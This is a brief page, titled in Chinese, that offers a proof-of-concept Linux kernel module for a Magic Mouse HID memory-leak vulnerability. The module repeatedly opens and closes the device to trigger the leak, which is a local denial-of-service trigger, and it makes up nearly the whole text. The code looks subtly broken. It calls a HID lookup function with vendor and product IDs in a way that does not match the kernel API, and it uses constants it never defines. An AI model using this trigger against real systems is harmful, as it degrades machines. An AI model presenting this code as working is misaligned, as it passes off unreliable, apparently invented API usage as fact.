CVE-2026-31522 Linux内核magicmouse内存泄漏漏洞

/* * PoC for CVE-2026-31522: HID magicmouse memory leak * This PoC triggers the memory leak by repeatedly reconnecting * a Magic Mouse device or reloading the HID module. */ #include <linux/module.h> #include <linux/hid.h> #include <linux/usb.h> static int __init leak_poc_init(void) { struct hid_device *hdev; int i, ret; // Find magicmouse HID device hdev = hid_get_device_drvdata(MAGICMOUSE_VENDOR_ID, MAGICMOUSE_PRODUCT_ID); if (!hdev) { pr_err("Magic Mouse device not found\n"); return -ENODEV; } // Trigger report_fixup multiple times to leak memory for (i = 0; i < 1000; i++) { ret = hid_hw_open(hdev); if (ret) pr_err("Failed to open device: %d\n", ret); hid_hw_close(hdev); } pr_info("Memory leak triggered - check kernel logs\n"); return 0; } static void __exit leak_poc_exit(void) { pr_info("PoC module unloaded\n"); } module_init(leak_poc_init); module_exit(leak_poc_exit); MODULE_LICENSE("GPL");